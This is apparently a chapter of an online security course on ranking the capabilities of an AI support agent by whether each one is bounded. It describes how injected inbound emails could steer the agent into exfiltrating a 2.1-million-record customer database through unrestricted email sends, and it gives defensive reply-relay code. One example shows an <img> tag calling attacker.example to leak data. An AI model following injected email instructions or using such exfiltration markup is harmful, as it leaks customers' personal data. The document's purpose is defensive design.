Skip to content

14 min read

Ranking capabilities in a design review

On this page

A design review usually gets one change. The team has a ship date, the architecture fits on a slide, and the question is which single capability to spend the slot on — which makes the ranking, rather than the list, the whole of the review's value.

The instinct in the room is to point at whatever moves money, because financial impact is the consequence that is easiest to name and the one with a number attached. That instinct is a reasonable prior for a human operator and a poor one for an agent, since it ranks capabilities by the cost of one invocation while an attacker who can reach the agent's inbound channel gets hundreds of invocations a day. The right question is about the shape of the worst case, not the size of one step.

Rank by whether the capability has an edge

The question that sorts these is how bad the worst sequence of invocations is, given an attacker who can send inbound messages at will and who therefore gets as many turns a day as the agent handles tickets. A capability with a bound — an amount, a rate, a fixed set of destinations, a reconciliation process — has a worst case you can compute. A capability without one has a worst case equal to everything it can reach.

Take a support agent that reads a shared inbox at help@, which takes around 400 inbound emails a day from anyone who cares to write; looks up the sender in a customer database holding 2.1 million records including names, addresses, order history and the last four digits of payment cards; writes a summary note onto the CRM record; sends a reply by email to any address, because the reply address is whatever the agent decides it should be; and can issue a refund through the payments API, capped at 50 euros per refund, three per customer per rolling month, with every refund appearing in a daily reconciliation report that finance already reads.

CapabilityBoundWorst case over 400 injected turnsWho notices, and when
Refund ≤ 50 EURAmount, 3/customer/month, and refunds return to the original payment methodMoney moves back to the genuine customers' own cardsFinance, next morning, in a report that already exists
Read customer DBNone on the read itself2.1M records in the agent's context, one query at a timeNobody; reads are the normal workload
Write CRM noteWrites only onto records; visible to staffPoisoned text stored where staff and other agents will read itWhoever reads the note, eventually
Send email to any addressNone2.1M records delivered to an address the attacker ownsNobody; outbound mail to arbitrary addresses is the normal workload

The refunds row is where the intuition breaks. A refund is not a payment: it credits the original payment instrument on the original order. An attacker who induces 400 refunds has arranged for your company to give 20,000 euros back to your own customers, who did not ask for it and mostly will not complain, and none of that money reaches the attacker unless they were the cardholder in the first place — in which case the bound is three refunds a month against their own orders, up to 150 euros, which is a fraud loss your payments team has a line item for. The capability is genuinely a risk and it is a quantified risk, capped by an amount, a rate and a control that already runs daily.

Both figures in that paragraph are the caps multiplied out, and doing the multiplication is what turns "capped" from a reassurance into a number. The company's exposure over a day of sustained abuse is the per-refund ceiling times the number of turns an attacker gets, and the attacker gets one turn per inbound message, so fifty euros multiplied by four hundred is twenty thousand euros — a day's worth of the worst case, arriving as credits on your own customers' cards. The attacker's own take is a different product with different factors, because refunds land on the original instrument: the only orders that pay them are their own, so their return is the per-refund ceiling times the monthly rate limit, which is fifty euros three times over, a hundred and fifty euros a month. Two products from the same two caps, and the gap between them is the whole reason a refund is a poor instrument for an attacker — the money the capability can move and the money the attacker can receive are separated by who owns the card.

Unbounded is not a word about size in this ranking; it is a word about whether such a product exists at all. Every bounded capability has a worst case you can compute by multiplying its caps together, and the answer is a number somebody can put next to other numbers. A capability with no cap on volume, no restriction on destination and no process that reads what it produced has no factors to multiply, so its worst case is not a large number — it is whatever else the agent can reach, which makes it a multiplier on the rest of the design rather than a line in it.

Email to any address has no such structure. There is no cap on how many messages, no restriction on where they go, and no reconciliation that reads them. It also does something the other capabilities do not, which is to convert every other privilege into an outbound channel. The database read on its own is a two-leg system in the trifecta sense and buys an attacker nothing, since the records go into a context they cannot observe. Attach an unrestricted send and the read becomes exfiltration at a rate set by how much text fits in a message: at roughly 100 customer records per email and one send per handled ticket, 400 tickets a day is 40,000 records a day, and the entire database in about eight weeks — from a system whose logs show it doing exactly what it was built to do.

The eight weeks is the one figure in the table worth deriving in full, because it is where the multiplier becomes concrete and because every step of it is checkable against the numbers already on the page. Start with what one message carries: roughly a hundred customer records, which is a limit set by how much text fits in an email rather than by any control. One send is available per handled ticket, and the inbox handles four hundred a day, so a hundred records multiplied by four hundred sends is forty thousand records leaving each day. The database holds two point one million records, and two point one million divided by forty thousand is fifty-two and a half days. Divide that by seven days a week and it is seven and a half weeks, which rounds to the about-eight-weeks the paragraph quotes, with the half-week of remainder being the reason it is about. Nothing in that chain is an attack technique: the rate limit is the ticket volume the product was designed for, the send is the feature, and the read is the lookup. Which is the point worth carrying out of the arithmetic — the exfiltration runs at the speed of the product working normally, so nothing in it looks anomalous to any monitoring built around load.

The last column of the table falls out of the second one, and the correspondence is exact enough to use on a system this chapter never mentions. Two rows answer the question of who notices with nobody, and they are the same two rows whose bound is none. That pairing is causal in both directions. A detector fires on a distinction, and an invocation of an unbounded capability offers none to fire on: the injected read is the same query against the same store as the lookup the ticket needed, and the injected send is the same call to the same relay as the reply a customer is waiting for, at a volume the product's own traffic already sets. The observation reads identically whether the agent is being steered or working, and an observation that reads the same in both cases has nothing in it. Run the correspondence the other way and a bound is a line, a line is something a request can fall outside of, and falling outside is an event somebody can log. So ranking capabilities by whether each one has an edge turns out to be the same ranking as ranking them by whether their abuse would ever be visible — a bound bought for containment arrives with a detector attached, and a capability left unbounded is one you have also agreed not to watch.

Removing the send does not remove the ability to reply to customers, which is the point of the agent, so the useful framing for the room is that you are not removing a capability but replacing an unbounded version of it with a bounded one.

Bounding the recipient without breaking the product

The immediate objection is a real product requirement: customers reply from personal addresses when the ticket came in on a work address, from a new address after switching employers, or by forwarding the thread to a colleague. A hard allowlist of the address on file would bounce a meaningful share of legitimate replies.

What the requirement actually needs is that the recipient be resolved against your own records rather than chosen freely — the same move that turns an extracted po_reference string into a purchase-order record. The set of addresses that can legitimately receive a reply to a given ticket is knowable: the addresses that have participated in that thread, the addresses verified on the account, and nothing else. That is usually between one and four addresses, and it covers the personal-address case as soon as the customer has written from it once, because writing from it makes them a thread participant.

python
def allowed_recipients(ticket_id: str) -> frozenset[str]:
    ticket = tickets.get(ticket_id)
    addresses = {p.address for p in ticket.participants}      # wrote into this thread
    if ticket.account_id:
        addresses |= {a.address for a in accounts.verified_addresses(ticket.account_id)}
    return frozenset(a.lower() for a in addresses)

The enforcement belongs outside the agent process, in the relay that actually sends, so that a compromised turn cannot route around it. The relay receives a ticket id and a body, resolves the recipients itself, and refuses anything else.

python
@app.post("/reply")
def send_reply(req: ReplyRequest, x_task_ticket: str = Header(...)):
    task = verify_ticket(x_task_ticket)
    if req.ticket_id != task.ticket_id:
        raise HTTPException(403, "reply is for a different ticket")
    allowed = allowed_recipients(req.ticket_id)
    if req.to.lower() not in allowed:
        audit.log("recipient_rejected", ticket=req.ticket_id, attempted=req.to)
        raise HTTPException(403, "recipient not a participant or verified address")
    body = strip_remote_content(req.body)   # no <img>, no tracking pixels
    body = rewrite_links(body)              # external URLs -> click-through with no payload
    return smtp.send(to=req.to, in_reply_to=ticket.message_id, body=body,
                     cc=None, bcc=None, attachments=None)

Three details in that handler are doing more work than they look like. Dropping cc, bcc and attachments closes the obvious bypasses, since an allowlisted to with an attacker in bcc is the same leak with extra steps. Stripping remote content matters because a message body containing <img src="https://attacker.example/x?d=…"> exfiltrates on render, to an attacker who never receives the email at all — the recipient's mail client makes the request. And rewriting links exists because a URL in the body is a channel whose payload is the query string; the click-through rewrite means the destination is recorded and the parameters are yours rather than the model's. The recipient_rejected audit event is the detection surface the design previously lacked entirely: under the old design an injected send looked like a send, and under this one it is a distinct, rare, alertable event.

The path for a genuinely new address — a customer writing from an address that has never touched the thread — routes to a human, which at 400 tickets a day and an estimated 2–3% new-address rate is around ten decisions a day. That number is worth checking with the support team before the review, because a control that adds a queue nobody staffed is a control that gets deleted in the first busy week.

It is worth seeing where it comes from, since the whole viability of the change rests on it and the calculation is one line. Two per cent of four hundred tickets is eight, three per cent is twelve, so the daily queue lands somewhere between eight and twelve and "around ten" is the middle of that band rather than a separate estimate. The reason the band matters more than the midpoint is that the two ends imply different staffing conversations, and the rate is the one input here that nobody in the design review actually knows — it is a property of how customers behave, measurable from the ticket history in an afternoon, and wrong by a factor of several if it is guessed. Everything else in this design is a decision somebody makes; this is an observation somebody has to go and take, and the control is only as shippable as that observation is real.

The two runners-up, and why they place lower

Reading the customer database is the capability with the most valuable data behind it, and it is the one that cannot be removed without removing the product; an agent that cannot look up the customer writing in is an autoresponder. Its risk is also entirely conditional on an outbound path, so bounding the send moves it from a leaking read to a read that stays inside the system. It is the right second change — per-request credentials scoped to the customer the ticket is about — and it is a week of platform work rather than an afternoon, which is why it does not fit a single review slot before a ship date.

Writing CRM notes places third and deserves more attention than it usually gets, because it is a persistence channel: attacker text written into a note is stored, and it fires later, in whatever context reads notes next. That is the downstream re-classification failure from the previous chapter, and the reason it ranks below the send is timing and reach — it requires a second reader to exist, it reaches internal staff rather than the open internet, and the note is visible to the humans who own the record. It is a real finding, and in this design it is a finding you raise in writing and schedule rather than the one you spend your single slot on.

What the single change left standing

The change is small enough to build in two days, and it leaves most of the design untouched. The agent still holds ambient authority over the whole customer database, so a single injected turn still reads any record it likes and still has 2.1 million rows in reach; what changed is where that data can go. Ticket text still enters the same context that holds the tools, with no quarantine, so the agent remains steerable by anyone with an email address. There is no confirmation gate anywhere, and refunds — correctly ranked as bounded — still fire without one, which is a decision rather than an oversight and should be recorded as such. CRM notes remain a stored-injection vector until the next agent that reads them is designed with that in mind.

And bounding the recipient bounds who receives a message, not what is in it, so an agent talked into including another customer's order history in a reply to a legitimate participant still leaks, one customer at a time, to a real address. That residual is the honest reading of what one slot buys: the rate at which data can leave fell from an unbounded channel to one message per ticket aimed at somebody who is entitled to receive a reply, and the leak did not become impossible.

The method underneath the ranking is what transfers to the next review. Enumerate every tool and every identity, including the ones with no tool call attached — a database read through a shared connection, a message rendered in a client, a note another system indexes. For each, ask what bounds it: an amount, a rate, a resolved set of destinations, a process that reconciles. Trace one realistic injection path end to end through the whole set, naming the inbound content, the read, and the sink. Then take away the first privilege with no bound and check that the workflow still completes — which is the step teams skip, and the one that turns a review comment into a change the team can actually ship. If the workflow breaks, you have not found a privilege to remove but a capability to replace with a resolved-set version of itself, which is a design conversation rather than a veto.

That procedure is short enough to run against a system you already operate, and running it against one is the point of everything in this topic.

Architectural mitigations — read the current version at https://daviddominguez.dev/learn/en/architectural-mitigations/ranking-capabilities-in-a-design-review

Back to top